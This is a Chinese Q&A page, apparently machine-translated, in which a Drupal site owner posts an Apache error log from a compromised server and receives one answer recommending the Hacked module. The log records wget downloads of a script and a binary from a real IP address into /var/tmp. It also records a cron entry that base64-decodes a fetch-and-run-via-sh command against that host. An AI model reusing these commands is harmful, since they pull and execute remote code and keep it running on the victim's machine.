-3

apache 服务器错误日志:

--2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh 连接到 164.132.159.56:80... 已连接。已发送 HTTP 请求,等待响应... 200 OK 长度:589 [text/x-sh] 保存到:'STDOUT'

 0K                                                       100%  101M=0s

2018-11-14 22:13:40 (101 MB/s) - 写入标准输出 [589/589]

rm: 无法删除 '/var/tmp/yum-ec2-user-_j9uM3': 不允许操作 rm: 拒绝删除 '.' 或“..”目录:跳过“/var/tmp/.” rm:拒绝删除'.' 或 '..' 目录:跳过 '/var/tmp/..' --2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo 连接到 164.132.159.56: 80...连接。HTTP 请求已发送,等待响应... 200 OK 长度:33880 (33K) 保存到:'/var/tmp/lew'

 0K .......... .......... .......... ...                  100%  286K=0.1s

2018-11-14 22:13:40 (286 KB/s) - '/var/tmp/lew' 已保存 [33880/33880]

% Total % Received % Xferd 平均速度 时间 时间 当前 Dload 上传总花费 左速度 ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--: -- 0^M100 33880 100 33880 0 0 96119 0 --:--:-- --:--:-- --:--:-- 96250 e: 没有这样的文件或目录 e: 没有这样的文件或目录 e:没有这样的文件或目录

e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 sh:第 1 行:22417 完成回显'* * * * * echo -n "d2dldCATtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA==" | base64 -d |sh > /dev/null' 22418 被杀死 | crontab - e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录

请告诉解决方案。

4

1 回答 1

0

为您的站点使用 Hacked 模块 ( https://www.drupal.org/project/hacked )。它将为您提供最近更改的所有文件的报告。

您可以删除这些文件或解析它们的编码。

于 2018-11-15T12:30:43.853 回答